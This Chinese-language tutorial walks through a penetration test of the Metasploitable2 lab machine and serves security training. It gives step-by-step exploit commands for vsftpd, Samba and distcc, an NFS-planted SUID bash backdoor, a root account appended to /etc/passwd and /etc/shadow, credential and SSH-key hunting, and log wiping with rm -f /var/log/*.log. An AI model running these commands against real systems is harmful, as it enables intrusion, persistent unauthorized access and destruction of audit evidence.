别再对着Metasploitable2靶机发呆了!手把手教你用Kali Linux从21端口一路打到8787端口
从信息收集到权限提升:Metasploitable2靶机渗透实战指南
第一次打开Metasploitable2靶机时,面对几十个开放端口和五花八门的服务,大多数新手都会感到无从下手。这不是你的问题——网络安全领域最困难的从来不是工具的使用,而是建立系统化的攻击思维。本文将带你体验一次完整的渗透测试流程,从最基础的Nmap扫描开始,到最终获取系统最高权限,过程中我会分享每个关键节点的决策逻辑和实用技巧。
1. 环境准备与信息收集
在开始真正的渗透之前,确保你的实验环境已经正确搭建。Kali Linux作为攻击机,Metasploitable2作为靶机,两者需要在同一网络下。我建议使用桥接模式而非NAT,这样可以避免一些网络扫描的奇怪问题。
基础检查清单:
- Kali Linux IP: 172.16.5.42 (ifconfig查看)
- Metasploitable2 IP: 172.16.5.17 (netdiscover扫描)
- 网络连通性:
ping 172.16.5.17
真正的渗透从信息收集开始。Nmap是我们的主力工具,但新手常犯的错误是直接使用默认扫描参数。对于Metasploitable2这样的实验环境,我更推荐以下组合命令:
nmap -sV -sC -O -p- -T4 172.16.5.17 -oA metasploitable_scan这个命令做了几件重要的事:
-sV: 服务版本检测-sC: 默认脚本扫描-O: 操作系统识别-p-: 扫描所有65535个端口-T4: 加快扫描速度-oA: 输出所有格式报告
扫描完成后,你会看到类似下面的精简版结果:
| 端口号 | 服务 | 版本信息 | 潜在风险等级 |
|---|---|---|---|
| 21 | ftp | vsftpd 2.3.4 | 高危 |
| 22 | ssh | OpenSSH 4.7p1 | 中危 |
| 23 | telnet | Linux telnetd | 高危 |
| 80 | http | Apache httpd 2.2.8 | 中危 |
| 445 | smb | Samba smbd 3.X | 高危 |
| 6667 | irc | UnrealIRCd | 高危 |
| 8787 | drb | Ruby DRb RMI | 高危 |
2. 攻击入口选择与初步渗透
面对这么多开放端口,新手最常问的问题是:"我应该从哪个端口开始?"经验法则是:先找已知的、可远程代码执行(RCE)的漏洞。在Metasploitable2中,21端口的vsftpd 2.3.4笑脸漏洞是最佳切入点。
为什么选择21端口?三个原因:
- 漏洞利用稳定可靠
- 不需要任何凭证
- 直接获取root权限shell
使用Metasploit框架进行攻击:
msfconsole use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 172.16.5.17 exploit如果一切顺利,几秒钟后你就会获得一个root权限的shell。但现实往往没那么简单,我在教学中发现约30%的学员会遇到这些问题:
问题1:漏洞利用失败,靶机没有在6200端口开放后门
解决方案:尝试手动触发漏洞
telnet 172.16.5.17 21 USER test:) PASS test然后新开终端连接6200端口:
nc 172.16.5.17 6200问题2:获得了shell但无法执行命令
解决方案:升级为完全交互式shell
python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm
3. 横向移动与权限维持
拿到第一个shell只是开始。专业的渗透测试者会立即做三件事:
- 收集当前系统信息
- 寻找横向移动机会
- 建立持久化访问
系统信息收集命令参考:
# 查看系统版本 cat /etc/issue uname -a # 查看用户和组 cat /etc/passwd cat /etc/group # 查看网络配置 ifconfig netstat -tulnp # 查找敏感文件 find / -name "*.txt" -o -name "*.conf" -o -name "*password*" 2>/dev/null在Metasploitable2中,你会发现一个有趣的配置错误:/var目录通过NFS共享,而且配置为可写。这意味着我们可以轻松上传后门:
# 在Kali上挂载靶机NFS共享 mkdir /tmp/metasploit mount -t nfs 172.16.5.17:/var /tmp/metasploit # 创建后门并设置SUID位 cp /bin/bash /tmp/metasploit/www/shell chmod +s /tmp/metasploit/www/shell # 在靶机上执行后门 /var/www/shell -p4. 多漏洞串联与权限提升
虽然我们已经获得了root权限,但为了练习目的,让我们看看如何通过其他路径达成相同目标。Metasploitable2上最有趣的漏洞链是结合Samba和Distcc服务:
通过Samba获取低权限shell
use exploit/multi/samba/usermap_script set RHOST 172.16.5.17 exploit发现Distcc服务存在RCE漏洞
# 在获得的shell中 netstat -tulnp | grep 3632利用Distcc漏洞提升权限
use exploit/unix/misc/distcc_exec set RHOST 172.16.5.17 set LHOST 172.16.5.42 exploit
这个过程中最关键的技巧是漏洞的串联思维。当单独一个漏洞无法直接获取最高权限时,我们需要组合多个中危漏洞,像搭积木一样逐步提升权限。
5. 后渗透技巧与痕迹清理
真正的渗透测试不会在获取root权限后就结束。专业的测试者还需要:
收集凭证信息
# 查找SSH密钥 find / -name "id_rsa*" 2>/dev/null # 查看历史命令 cat ~/.bash_history # 检查cron jobs crontab -l建立持久化后门
# 添加root用户 echo "toor:x:0:0:root:/root:/bin/bash" >> /etc/passwd echo "toor:\$1\$salt\$NjywzJXsbjH5SJ4oJk7VX.:0:0:99999:7:::" >> /etc/shadow清理日志痕迹
# 清除当前用户相关日志 echo "" > /var/log/auth.log echo "" > /var/log/syslog # 更彻底的做法是删除整个日志文件 rm -f /var/log/*.log
记住,在实际渗透测试中,痕迹清理需要谨慎操作,过度清理反而会引起怀疑。最好的方式是只删除与你活动相关的特定日志条目。
6. 从练习到实战的思维转变
Metasploitable2作为学习工具的最大价值,不在于它有多少个漏洞,而在于它如何帮助我们建立渗透测试的思维框架。当你面对真实网络时,应该养成以下习惯:
- 建立攻击树:绘制可能的攻击路径,评估每条路径的成功概率和风险
- 优先利用链:组合低危漏洞往往比寻找单个高危漏洞更有效
- 环境适应性:真实网络中工具参数需要不断调整,没有放之四海而皆准的配置
最后分享一个实用技巧:在Metasploitable2练习时,尝试给自己设定限制条件,比如"不使用Metasploit框架"或"只能从80端口开始",这种约束训练能显著提升你的问题解决能力。
